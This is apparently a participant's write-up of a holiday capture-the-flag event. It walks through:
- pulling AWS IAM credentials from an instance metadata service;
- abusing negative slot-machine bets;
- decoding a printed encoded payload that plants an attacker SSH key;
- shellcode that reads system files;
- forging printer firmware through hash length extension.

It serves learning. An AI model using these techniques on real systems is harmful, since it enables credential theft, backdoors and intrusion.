cat bigscan.gnmap | grep -e 80/open/tcp -e 443/open/tcp -e 8080/open/tcp | wc -l
14372

14372

How many hosts with status Up have no (detected) open TCP ports?

Originally I tried to use a negative regular expression:


cat bigscan.gnmap | grep -e "cat bigscan.gnmap | grep -e "Status: Up\s*\n[^t]+" | wc -l" | wc -l0
0

but that clearly didn't work. So the other option is to look for how many hosts have tcp ports:


elf@89850edd0dbd:~$ cat bigscan.gnmap | grep -E "tcp" | wc -l
25652

And then we can subtract this from the number of hosts with status Up (found above): 26054 - 25652 = 402

402

What's the greatest number of TCP ports any one host has open?

We're checking the 1000 most common ports of each host, and it will always print the number of filtered ports after. So we could use a regex to perform a sort of binary-ish search to see how many ports are open.

I started with 95x filtered ports, which found nothing:


elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (95.)"
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (97.)"
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (98.)"
Host: 34.76.34.50 ()     Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 25/open/tcp//smtp///, 
...
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (985)"
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (987)"
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (988)"
Host: 34.78.10.40 ()     Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 25/open/tcp//smtp///, 110/open/tcp//pop3///, 135/open/tcp//msrpc///, 137/open/tcp//netbios-ns///, 139/open/tcp//netbios-ssn///, 143/open/tcp//imap///, 445/open/tcp//microsoft-ds///, 993/open/tcp//imaps///, 995/open/tcp//pop3s///, 3389/open/tcp//ms-wbt-server///      Ignored State: filtered (988)

So if the least filtered ports is 988, then there must be 12 open ports (1000-988)

12

The better answer is to use awk as described:



FrostFest Terminal Challenge 2: Frostavator

Grody has wired up Jack's elevator incorrectly, so it's no longer working. He wants us to fix it.

The first challenge seems to be getting to the logic gates. Inspecting the HTML and deleting the node <div class="cover"> seems to work.

For input we have:
    1 x 0 -> a
    1 x 0 -> b
    1 x 0 -> c
    a x b -> 1
    a x c -> 1
    b x c -> 1
    and the gates:
    XOR (true if the inputs are different)
    OR (true if the inputs are different or both on)
    AND (true if the inputs are both on)
    NAND (true if the inputs are different or both off)
    NOR (true if the inputs are the same)
    XNOR (true if the inputs are the same)

So we can deduce from there, that XOR, OR and NAND can be used to turn on the top row, but that leaves NOR to ruin the bottom row.

Instead, if we just pick randomly and put OR and NOR at the top, that makes a true and b false. We can then put XOR or NAND below it.

On the bottom right, at least one input is off, so XOR, NAND and XNOR are all possibilities.

For the bottom middle, the possibilities are XOR, AND, NAND and XNOR

AND fits in the fewest places, so if we put that in the top right, then c is 0, so we've got to make:

    1 x 0 -> 1 (XOR / NAND)
    1 x 0 -> 1 (XOR / NAND)
    0 x 0 -> 1 (NAND)

Other configurations are possible:

So all the outputs are lit up, but I haven't got the achievement. What's going on?

Looking in the console shows the issue:


Turns out it needs you to not delete the "cover" div. If you have a small screen, you just need to zoom out to find the proper way to remove the cover:





Resolving with the solution above now gets the achievement.

I don't have much relevance for this; grep is just a wonderful tool for searching for things.

FrostFest Terminal Challenge 3: IMDS Exploration

This challenge is more of a walkthrough. It's well-explained, so I don't really have much to add. Below is just the text, in case I need to reference/search for it later. Unless you're looking for something specific, it's worth skipping to the next challenge.

The Instance Metadata Service (IMDS) is a virtual server for cloud assets at the IP address
169.254.169.254. Send a couple ping packets to the server.

> ping -c 2 169.254.169.254

IMDS provides information about currently running virtual machine instances. You can use it to manage and configure cloud nodes. IMDS is used by all major cloud providers. Run 'next' to continue.

> next

Developers can automate actions using IMDS. We'll interact with the server using the cURL tool. Run 'curl http://169.254.169.254' to access IMDS data.

> curl http://169.254.169.254

Different providers will have different formats for IMDS data. We're using an AWS-compatible IMDS server that returns 'latest' as the default response. Access the 'latest' endpoint. Run 'curl http://169.254.169.254/latest'

> curl http://169.254.169.254/latest

IMDS returns two new endpoints: dynamic and meta-data. Let's start with the dynamic endpoint, which provides information about the instance itself. Repeat the request to access the dynamic endpoint: 'curl http://169.254.169.254/latest/dynamic'.

> curl http://169.254.169.254/latest/dynamic

The instance identity document can be used by developers to understand the instance details. Repeat the request, this time requesting the instance-identity/document resource: 'curl http://169.254.169.254/latest/dynamic/instance-identity/document'.

> curl http://169.254.169.254/latest/dynamic/instance-identity/document'.

Much of the data retrieved from IMDS will be returned in JavaScript Object Notation (JSON) format. Piping the output to 'jq' will make the content easier to read. Re-run the previous command, sending the output to JQ: 'curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq'

> curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq

Here we see several details about the instance when it was launched. Developers can use this information to optimize applications based on the instance launch parameters. Run 'next' to continue.

> next

In addition to dynamic parameters set at launch, IMDS offers metadata about the instance as well. Examine the metadata elements available: 'curl http://169.254.169.254/latest/meta-data'

This time I tried to be smart and pre-empted using jq. But it's not JSON this time! Pipe it to less if you want to read everything.

> curl http://169.254.169.254/latest/meta-data

By accessing the metadata elements, a developer can interrogate information about the system. Take a look at the public-hostname element: 'curl http://169.254.169.254/latest/meta-data/public-hostname'

> curl http://169.254.169.254/latest/meta-data/public-hostname'

Many of the data elements returned won't include a trailing newline, which causes the response to blend into the prompt. Re-run the prior command, adding '; echo' to the command. This will add a new line character to the response.

> curl http://169.254.169.254/latest/meta-data/public-hostname; echo

There is a whole lot of information that can be retrieved from the IMDS server. Even AWS Identity and Access Management (IAM) credentials! Request the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials' to see the instance IAM role.

> curl http://169.254.169.254/latest/meta-data/iam/security-credentials

Once you know the role name, you can request the AWS keys associated with the role. Request the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role' to get the instance AWS keys.

> curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role

So far, we've been interacting with the IMDS server using IMDSv1, which does not require authentication. Optionally, AWS users can turn on IMDSv2 that requires authentication. This is more secure, but not on by default. Run 'next' to continue.

> next

For IMDSv2 access, you must request a token from the IMDS server using the X-aws-ec2-metadata-token-ttl-seconds header to indicate how long you want the token to be used for (between 1 and 21,600 secods). Examine the contents of the 'gettoken.sh' script in the current directory using 'cat'.

> cat gettoken.sh

This script will retrieve a token from the IMDS server and save it in the environment variable TOKEN. Import it into your environment by running 'source gettoken.sh'.

> source gettoken.sh

Now, the IMDS token value is stored in the environment variable TOKEN. Examine the contents of the token by running 'echo $TOKEN'.

> echo $TOKEN

The token (Uv38ByGCZU8WP18PmmIdcpVmx00QA3xNe7sEB9Hixkk=) looks like base64, but doesn't seem to decode, which is interesting.

With the IMDS token, you can make an IMDSv2 request by adding the X-aws-ec2-metadata-token header to the curl request. Access the metadata region information in an IMDSv2 request: 'curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region'

> curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region

Relevance: IMDS can be used in scripts when starting up projects on EC2, but also by attackers to access sensitive data.

FrostFest Terminal Challenge 4 (Bonus): Log4J Red Team

I've been dealing with Log4shell at work (and the debates over whether to call it Log4j or "LogForge" (obviously the former), so I'm not too keen to write too much about this in my free time. Fortunately, Josh Wright has written up a great walkthrough here.

There's really not much I can add to it, other than perhaps:

  • I'd probably recommend trying an osbfucated payload - virtually everything now seems to be blocking ${jndi.
  • It didn't seem particularly clear to me why the path needs to be "/solr/admin/cores" It appears that all parameters are logged by default, so you just have to find a valid path on the site. This is a bit harder to achieve, and it seems like you'd only find it by searching for Solr admin rest API.

The solution The solution to Log4shell is patching.
Sincerely,

Santa

Objective 1: KringleCon Orientation

The first objective is just a intro into how KringleCon works and where to find hints, objectives and objects. I can't explain it better than SANS have, so just go do it yourself.

Objective 2: Where in the World is Caramel Santaigo

I initially completed this manually, using just a basic Google search or whois when an IP was given. Try often enough (I tried about four times) and you'll solve this even if you ignore the three word location hints. I reckon it's worth playing a couple of times anyway, since the clues taught me about locations, festivities and cellular bands (?)

I was a little confused by the image that's presented to you when you encounter an elf, and wondered if it might be a giveaway, but had no luck there. It's always "elf8", so I wondered if that might mean it's the eight in the list. The elves are always listed in the same order though:
1. Caramel Santaigo
2. Sparkle Redberry
3. Morcel Nougat
4. Jingle Ringford
5. Jewel Loggins
6. Fitzy Shortstack
7. Ginger Breddie
8. Piney Sappington
9. Ribb Bonbowford
10. Noel Boetie
11. Tinsel Upatree
I also tried looking for the other elves without luck. Where are the first seven?

I would've left it there, figuring it was just a lesson in IP geolocations and a celebration of culture, if it wasn't for Piney Sappington's hint about flask cookies. It turns out the game is setting a cookie Cookiepella. Copy its value and put it into CyberChef with the recipe "From Base64 (url-safe)" followed by "Magic", and it'll find that it's just text that's been Zlib deflated and then converted to base64.

The results look like: {"day":"Monday","elf":"Tinsel Upatree","elfHints":["The elf got really heated about using tabs for indents.","They kept checking their Snapchat app.","Oh, I noticed they had a Star Trek themed phone case.","The elf mentioned something about Stack Overflow and Python.","hard"],"hour":9,"location":"Santa's Castle","options":[["Edinburgh, Scotland","Stuttgart, Germany","Rovaniemi, Finland"],["Antwerp, Belgium","Vienna, Austria","Stuttgart, Germany"],["Rovaniemi, Finland","Stuttgart, Germany","New York, USA"],["Placeholder","Vienna, Austria","New York, USA"]],"randomSeed":832,"route":["Edinburgh, Scotland","Antwerp, Belgium","New York, USA","Placeholder"],"victoryToken":"{ hash:\"a522b0d75d6c0c9bc958fae3f197ad0bb28234c33ed0edabd6946835ba42a7c9\", resourceId: \"903003c5-f083-4a4c-ab36-251793c5d42c\"}"}

So this lets us solve the challenge easily, but can we change it? The hash inside the token is consistent, so that provides some hope.

The first thing to note is the cookie's format: .{zlib deflated elf details}.{timestamp}.{hmac} (Source). When decoding, CyberChef conveniently ignores the irrelevant data after the zlib part; other programs aren't so nice. When encoding though, this means we have to be very careful to remember to re-add it, otherwise the server will immediately discard it.

Unfortunately that last part poses a bit of a problem: if we change the elf details, the hmac will no longer be valid. So we need to find the secret key so we can generate our own hmac.

Earlier this year, I came across CookieMonster, a tool designed explicitly for this, and it references Flask Unsign but neither of these could find the key. I assume the SANS team used a secure key, unfortunately, so we'll have to leave it there.

Objective 3: Thaw Frost Tower's Entrance

Jack Frost set the temperature too low, causing the door to Frost Tower to freeze. Grimy McTrollkins wants help connecting to the Wi-Fi connected thermostat inside to set the temperature higher so that the door will defrost.

I started by running a scan to see if the thermostat was within range. Sure enough, the AP exists and is in range. Given the adapter was something I just picked up off the ground, I figured it'd be worth checking if it was connected to anything using iwconfig; it'd be awfully convenient if Jack had lost it and it already remembered his AP.


    elf@69c93f4429cc:~$ iwlist scan
    wlan0     Scan completed :
              Cell 01 - Address: 02:4A:46:68:69:21
                        Frequency:5.2 GHz (Channel 40)
                        Quality=48/70  Signal level=-62 dBm  
                        Encryption key:off
                        Bit Rates:400 Mb/s
                        ESSID:"FROST-Nidus-Setup"
    
    elf@69c93f4429cc:~$ iwconfig 
    wlan0     IEEE 802.11  ESSID:off/any  
              Mode:Managed  Access Point: Not-Associated   Tx-Power=22 dBm   
              Retry:off   RTS thr:off   Fragment thr=7 B   
              Power Management:on

No such luck. So how do we tell it what to connect to? According to man iwconfig, you can specify essid. We found that above, so this should be easy.


elf@69c93f4429cc:~$ iwconfig essid "FROST-Nidus-Setup"
    iwconfig: unknown command "FROST-Nidus-Setup"
elf@69c93f4429cc:~$ iwconfig wlan0 essid "FROST-Nidus-Setup"
    ** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
    (The setup is compatible with the 'curl' utility)
. Oops; as you can see, it's important to remember to tell the adapter which interface to listen on.

Nice; the output tells us what to connect to, and continues to tell us the next steps from here:


        elf@69c93f4429cc:~$ curl http://nidus-setup:8080/
        ◈──────────────────────────────────────────────────────────────────────────────◈
        
        Nidus Thermostat Setup
        
        ◈──────────────────────────────────────────────────────────────────────────────◈
        
        WARNING Your Nidus Thermostat is not currently configured! Access to this
        device is restricted until you register your thermostat » /register. Once you
        have completed registration, the device will be fully activated.
        
        In the meantime, Due to North Pole Health and Safety regulations
        42 N.P.H.S 2600(h)(0) - frostbite protection, you may adjust the temperature.
        
        API
        
        The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc
        elf@69c93f4429cc:~$ curl http://nidus-setup:8080/apidoc
        ◈──────────────────────────────────────────────────────────────────────────────◈
        
        Nidus Thermostat API
        
        ◈──────────────────────────────────────────────────────────────────────────────◈
        
        The API endpoints are accessed via:
        
        http://nidus-setup:8080/api/
        
        Utilize a GET request to query information; for example, you can check the
        temperatures set on your cooler with:
        
        curl -XGET http://nidus-setup:8080/api/cooler
        
        Utilize a POST request with a JSON payload to configuration information; for
        example, you can change the temperature on your cooler using:
        
        curl -XPOST -H 'Content-Type: application/json' \
          --data-binary '{"temperature": -40}' \
          http://nidus-setup:8080/api/cooler
        
        
        ● WARNING: DO NOT SET THE TEMPERATURE ABOVE 0! That might melt important furniture
        
        Available endpoints
        
        ┌─────────────────────────────┬────────────────────────────────┐
        │ Path                        │ Available without registering? │ 
        ├─────────────────────────────┼────────────────────────────────┤
        │ /api/cooler                 │ Yes                            │ 
        ├─────────────────────────────┼────────────────────────────────┤
        │ /api/hot-ice-tank           │ No                             │ 
        ├─────────────────────────────┼────────────────────────────────┤
        │ /api/snow-shower            │ No                             │ 
        ├─────────────────────────────┼────────────────────────────────┤
        │ /api/melted-ice-maker       │ No                             │ 
        ├─────────────────────────────┼────────────────────────────────┤
        │ /api/frozen-cocoa-dispenser │ No                             │ 
        ├─────────────────────────────┼────────────────────────────────┤
        │ /api/toilet-seat-cooler     │ No                             │ 
        ├─────────────────────────────┼────────────────────────────────┤
        │ /api/server-room-warmer     │ No                             │ 
        └─────────────────────────────┴────────────────────────────────┘
        elf@69c93f4429cc:~$ curl -XPOST -H 'Content-Type: application/json' --data-binary '{"temperature": 40}' http://nidus-setup:8080/api/cooler
        {
          "temperature": 39.4,
          "humidity": 48.57,
          "wind": 24.12,
          "windchill": 44.69,
          "WARNING": "ICE MELT DETECTED!"
        }
    
An aside on "Nidus"According to Google, Nidus means "a focus of infection" or "a place or situation in which something develops or is fostered", which seems appropriate for the entrance of Jack's castle. It also translates to Nest, so perhaps a nod to Google's thermostat. I guess it'd be a compliment to suggest it could be powerful enough to completely freeze a door (or defrost it in the North Pole!).

I believe the relevance of this challenge is simply that WiFi is now ubiquitous and it can be helpful to have commandline tools to interact with them (especially for pentesting).

Objective 4: Slot Machine Investigation

Hubris Selfington is concerned that there must be a problem with one of the slot machines since it's paying out money. He needs help figuring out what the flaw is. The machine is running at slots.jackfrosttower.com.

Looking at the page, I'm not still not 100% sure how the game works, but I think: there are different trolls that have various payouts depending on whether you have three, four or five of them in a line. You can choose how much to bet by varying the bet size and bet amount, and then you can spin. Of course casinos want to make it as easy as possible for people to keep betting money, so you can also just autospin to lose everything in one simple click. Spinning a couple of times shows the machine isn't just broken; you have to actively make it payout more than a little.

Looking at the JavaScript shows there's an "offline" client and a service worker; so perhaps it's trusting client-side data too much?

In c3runtime.js, several variables are set, including WinAmount. We can set a breakpoint in the code and overwrite that to see what happens:

When you win, it says "Frigid!". Unfortunately, this isn't the answer; the server is not trusting the client's data, so it still knows we lost. Refreshing the page show our credit has decreased, not increased.

The next step is to look at what the server is sending and receiving. After opening the website in Burp and looking at the proxy, I can see three values are being sent to https://slots.jackfrosttower.com/api/v1/<guid>/spin: betamount, numline and cpl. Betamount is obvious, and sending anything other than a non-negative number causes an error message "Betamount must be a number.; The betamount must be greater than or equal 0."

I'm not sure what numline is about, but it must be between 1 and 20. 0 and non-digits cause an error message saying it's not valid, 21+ causes a "server error". That's a bit interesting, since it might mean something exploitable. According to the X-Powered-By header, it's using PHP so it could be worth looking into type juggling attacks, but probably not integer overflows (unless the header is lying)

cpl says 0 and non-digits are invalid but doesn't seem to have an upper bound. All three require numbers, so it doesn't seem like XSS is possible here (not that it'd be of use anyway, but it's always a fun challenge).

At this point, I got a little distracted trying to figure out how the server was tracking state, and why the cookies were there.

It seems to be using the GUID, but there are also two almost identical cookies: XSRF-TOKEN and slots_session. XSRF-TOKEN was set to same-site=Lax and as bets required making a POST request, this could be used to prevent an attacker from tricking someone into making a bet. Naturally, Jack Frost would be happy for cross-site request forgery, and probably has a phising site all set up, so this cookie doesn't seem to be checked.

But why are they there, and why are there two? I said before that they're virtually the same: slots_session is HTTP-only while XSRF-TOKEN isn't. That means JavaScript can access the XSRF-TOKEN, which isn't ideal if you're trying to prevent XSRF, since it could be accessed if there's an XSS flaw in slots.jackfrosttower.com. There is no use of it in the JavaScript as far as I could see though, so there doesn't seem to be a reason for this.

I tried to find other pages that might explain this; there's no robots.txt or meta tag blocking Google for indexing the page, so I tried Googledorking but it found nothing. Ultimately, I couldn't figure out anything they were used for, so this remains a mystery to me.

Getting back to the original problem, I figured I should probably figure out what numlines and cpl actually mean.

Instead I went on another tangent. Searching for it in JavaScript finds it's used in SlotGame, which doesn't seem to be called, but is referenced as C3.Plugins.NhutCorp_SlotGenPHP.Acts.SpinGame. Searching for that brings us to a page of templates that appear to be for Wordpress, and which seem a little suspicious.
It does seem like a legitimate site though, and not actually related to Sans, so I realised I should stop looking there, and try to confirm the slots website is indeed running Wordpress. All of the common Wordpress URLs that I manually checked appear to be disabled, and I didn't want to run a scan since it's unlikely we really need to know; this was entirely for curiosity's sake.

Actually back to the task this time, I couldn't figure out what numlines or cpl were from the JavaScript code, but perhaps it'll be obvious when I change their values.

Changing numline doesn't seem to make a difference; it returns 15 SlotIcons regardless (which is what I'd expect to change), and doesn't seem to make any noticable difference to the probability of winning.

Changing cpl to negative makes the credit increase even without winning. Perhaps it stands for cost per line? Therefore, we can set numlines high and cpl to something very negative, and quickly get our credit high enough to piss off Jack.


Scrolling to the bottom shows us Jack's response: "I'm going to have some bouncer trolls bounce you right out of this casino!"

RelevanceIn the early days, Amazon had this flaw and is part of the class of logic flaws.

Objective 5: Strange USB Device

A malicious USB has been found and Morcel Nougat wants us to figure out who is responsible.

If we run ls we can see "mallard.py" is installed. Running python mallard.py shows us the command line argument we're after is --file, so we can add that and then use tab complete from there to fill out our command: python mallard.py --file /mnt/USBDEVICE/inject.bin

From the code, we can see that it is opening /bin/bash, creating a directory (and parents) ~/.config/sudo, creating a new sudo script that behaves like the normal one, except that it also sends the password (and whether it is valid or not) to trollfun.jackfrosttower.com:1337 (a domain that doesn't resolve publicly :( ). It then updates the path, so that the backdoored sudo is found first (and thus run instead of the real sudo). It then writes some binary data, removes the bash history to hide its tracks and quits.

The binary data is interesting; let's see what that means by running it: echo ==gCz1XZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhN1RyQ1UkdFZopkbS1EbHpFSwd1VRJ1RVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNX11ZrhkYzZ0Va1nQDRmd1cUS6x2RJpHbHFWVC1HZOpVVTpnWwQFdSdEVIJ1RS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZId1WKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d Note: we don't want to add the | bash part, since we don't want this malicious code to actually run. We just want to be able to read it.

The output shows that it's adding an ssh key for ickymcgoop@trollfun.jackfrosttower.com to the authorized ssh keys. This will allow ickymcgoop permanent ssh access to the compromised machine. So our answer is ickymcgoop

Relevance

Malicious USB attacks have been pretty common, including used in Stuxnet, an attack by several government agencies to delay Iran's nuclear development.

There are now affordable pre-made USBs for this attack as well as instructions to create your own for a couple of dollars. USBs aren't used so often anymore though, so it seems like charging cables may be the next big thing. Given the price of cables, who'd pass on picking up one of them?

Objective 6: Shellcode Primer



For this objective, we're just given a wonderful intro into writing shellcode. I've been meaning to properly learn shellcode for a while but I'm always distracted by something easier, so I really appreciated this intro!

1. Introduction

2. Loops

These both just require you read the details and then press enter.

3. Getting Started

Add ret to the bottom of the code

4. Returning a value

We use rax to store whatever value we want to return. So this time our code should be


        mov rax, 1337
        ret
    

5. System calls

To make a system call, we have to move the method number into rax, and move the parameters into rdi, rsi, rdx (in that order). So our code should be:


        mov rax, 60 ; According to the linked table,sys_exit is #60
        mov rdi, 99 ; We want to return the code 99
        syscall ; no need to ret since sysexit will do that.
    

6. Calling Into the Void

Just press enter. The execution crashes since we overwrote the stack with the value 12345678, but there's nothing that can be run there.

7. Getting RIP

We just have to add pop rax into the template provided:


        ; Remember, this call pushes the return address to the stack
        call place_below_the_nop
        
        ; This is where the function *thinks* it is supposed to return
        nop
        ; This is a 'label' - as far as the call knows, this is the start of a function
        place_below_the_nop:
        
        ; TODO: Pop the top of the stack into rax
        pop rax
        
        ; Return from our code, as in previous levels
        ret
        

8. Hello, World!

We can choose whatever label we want; we just have to call it before the db 'Hello World',0 and put the label below. That gives us:


; This would be a good place for a call
call label
; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0

; This would be a good place for a label and a pop
label:
pop rax
; This would be a good place for a re... oh wait, it's already here. Hooray!
ret
    

9. Hello, World!!

We can combine our answers from #8 and #5. sys_write is syscall #1, takes the fd to write to (in our case stdout which is #1), the buffer an the string size. So we want to put 1 into rdi, "Hello World" into rsi (instead of rax like we did last time), 12 into rdx (the length of "Hello World" and then call syscall:


        call label

        db 'Hello World!',0
        
        label:
        pop rsi ; set buffer to hello world
        mov rax, 1 ; set call to syscall
        mov rdi, 1 ; write to stdout
        mov rdx, 12 ; length of bytes to write
        syscall
        ret
    

10. Opening a File


        call label
        db '/etc/passwd',0
        label:
        pop rdi ; move /etc/password into rdi
        mov rax, 2 ; sys_open is #2
        mov rsi, 0 ; no flags
        mov rdx, 0 ; no mode
        syscall ; syscall sets rax to the file handle
        ret
    

11. Reading a File

Now we have to put together everything we learnt previously. First, open the file:


        call begin
        db '/var/northpolesecrets.txt',0
        begin:
        pop rdi ; move /var/northpolesecrets.txt into rdi
        mov rax, 2 ; sys_open is #2
        mov rsi, 0 ; no flags
        mov rdx, 0 ; 0 = reading so that's fine
        syscall ; sys_open sets rax to the file handle
    
now we have the file open, we have to read it:

        mov rdi, rax ; move the fp into rdi before we write rax
        mov rax, 0 ; sys_read is #0
        mov rsi, rsp ; Use rsp as a buffer
        mov rdx, 1000 ; read 1000 bytes
        syscall ; sys_read sets rax to the data read, r0 to the count
    
. Now that we've read the file, we just need to write it to stdout:

        mov r10, rdi ; save the file pointer

        mov rdx, rax ; move the length into rsi before we overwrite it
        mov rax, 1; sys_write is #1
        mov rdi, 1 ; stdout is #1
        syscall ; write to stdout
    
In theory, we'd now want to close the file since there is a maximum number of open file descriptors, but when I tried to, I got an error message saying I wasn't allowed to use that many sys calls:

        ; mov rdi, r10 ; move the fp back to rdi
        ; mov rax, 3 ; sys_close is #3
        ; syscall ; close the file!
    
Either way, we do have to exit. We can't just return since we've messed up the stack to add the filename, so we'll call sysexit instead:

        mov rax, 60 ; sysexit
        mov rdi, 1 ; exit code 1
        syscall ; exit
    

This gives us the value of northpolesecrets.txt: Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.

Relevance Shellcode is typically used after buffer overflows when you can control the stack but can't run high-level programs. Apparently there are types of shellcode, but in this case it's also assembly language which is used for high-performance programs, low-level devices and injecting code in existing binaries.

Objective 7: Printer Exploitation

FrostFest have stolen KringleCon's printer and printed something. We need to read the contents of /var/spool/printer.log to figure out what the last printed thing is.

It looks like accessing anything of interest on the printer (such as Wi-Fi settings) requires a password which I don't have. I can, however, upload and download firmware. Downloading it produces a JSON file containing base64 data, a signature and evidence that the signature is created using SHA256 with a secret length of 16 (so likely too long to crack, unless it's passwordpassword?). Unfortunately chucking it in CyberChef suggests prepending "passwordpassword" does not create the right signature.

This looks like base64 data, so I ran echo <data> | base64 -d > data and then file data to figure out it's a zip file. unzip data extracts "firmware.bin", which file firmware.bin says is an "ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped". AKA, a Linux executable. Looking at that in Ghidra shows it just prints "Firmware is up to date" and then exits, so there doesn't seem to be too much that could be done with that. I think the only option is to add another binary to control the printer.

Another of the hints is that "files placed under /app/lib/public/incoming will be visible at https://printer.kringlecastle.com/incoming/". My C skills are quite rusty, and Firewalls could get in the road of a reverse shell, so for now, I'll just stick to the objective and create a binary that copies "printer.log" to "incoming/zysygy.log" (an unusual path is necessary so that other participants don't accidentally stumble across it. A GUID might be better, but SANS seem to be regularly purging that directory, so I think zysygy is good enough). Here's my code:


    #include 
    #include 
    
    int main() {
        FILE *fptr1, *fptr2;
    
        // Open one file for reading
        fptr1 = fopen("/var/spool/printer.log", "r");
        if (fptr1 == NULL)
        {
            exit(0);
        }
        
        // Open another file for writing
        fptr2 = fopen("/app/lib/public/incoming/zysygy.log", "w");
        if (fptr2 == NULL)
        {
            exit(0);
        }
        
        // Read contents from file
        int c = fgetc(fptr1);
        while (c != EOF)
        {
            fputc(c, fptr2);
            c = fgetc(fptr1);
        }
        
        fclose(fptr1);
        fclose(fptr2);
        return 0;
    }

I tried to cross-compile on a Mac but it was too hard, so I just compiled on Linux using gcc printer.c I normally use Mac, so I tried using clang --target=aarch64-unknown-linux-gnu -c ~/Desktop/printer.c. Unfortunately that can't find the header files. I suspect there's probably something that you can install to fix it, but I specifically bought a laptop and put Kali Linux on it just for the Sans Holiday Hack, so I opted for the lazy route and just compiled it on that.

Now that I have a binary, I have to find a way to get the printer to run it. The upload page says that it has to be a "signed firmware blob", and one of the hints we are given, is hash length extension attacks, so it's probably time to download that:


 ~ git clone https://github.com/iagox86/hash_extender.git
 ~ cd hash_extender
 ~ make

There are some issues getting it to run on Mac. If it complains about not being able to find md4, you probably need to brew install openssl. This will print a warning:
For compilers to find openssl@3 you may need to set: export LDFLAGS="-L/usr/local/opt/openssl@3/lib" export CPPFLAGS="-I/usr/local/opt/openssl@3/include"
Setting these variables don't help, because the Make file doesn't actually use them. Instead, you need to open up the makefile and add them in there.

Running ./hash_extender shows the options. We'll want to use:

  • --file with the path to the original, signed file
  • --appendfile with the path to our compiled data
  • -s 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 to give the original signature
  • -l 16 to give the secret length of 16
  • -f sha256, since that's the hash type
  • --out-signature-format hex, probably the default and not necessary, but I'm not 100% sure so it's safer to just specify it.
  • --out-data-format raw. I think the default is string which means the zip will be invalid.
  • --out-file and the path to the file we'll need to base64-encode.

It took me a while to figure out what the printer was actually signing. The base64 could at least be discarded quickly; concatenating base64 will make it invalid because of the padding characters. So it's either the zip file or the binary.

To begin with, I thought it was the raw binary files; if I tried appending anything to my zip files, my tools would complain about them being invalid. In retrospect, though, it clearly doesn't make sense to sign a binary: there's only one signature, so only one file could be allowed. Why bother with zipping them then?

One way to confirm the zip had to be signed was to rezip the original, unmodified firmware.bin and base64-encode it. Due to metadata in the zip, this changed the base64 data and caused the printer to reject it, even though the binary and the signature were both definitely valid.

So now that I'm confident the zip has to be signed, I just have to figure out what to add to it; just my binary, or a zip of my binary?

I started with just my binary, which said the firmware updated successfully but didn't actually work (Something went wrong)

I then created a zip of my binary and tried that, which led to this interesting error message:

    Failed to parse the ZIP file: Could not extract firmware.bin from the archive:
    
    $ unzip '/tmp/20220104-1-1i3z3rr' 'firmware.bin' -d '/tmp/20220104-1-1i3z3rr-out' 2>&1 && /tmp/20220104-1-1i3z3rr-out/firmware.bin
    
    Archive:  /tmp/20220104-1-1i3z3rr
    warning [/tmp/20220104-1-1i3z3rr]:  2608 extra bytes at beginning or within zipfile
      (attempting to process anyway)
    caution: filename not matched:  firmware.bin

So it looks like the name is really important. I renamed my binary to "firmware.bin" and zipped it into firmware.zip (I don't think the zip name matters, but it's easier than thinking of a new name):

./hash_extender --file original.zip  --appendfile firmware.zip -s 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 -l 16 -f sha256 --out-signature-format hex --out-data-format raw --out-file new.zip      
    Type: sha256
    Secret length: 16
    New signature: 3a598fe4f3c06149e8bef83fbcdc8dff75aca081d9199f5879348e6cd5eb915a
    New string: 

    base64 new.zip
The details from here can be used to create the json file

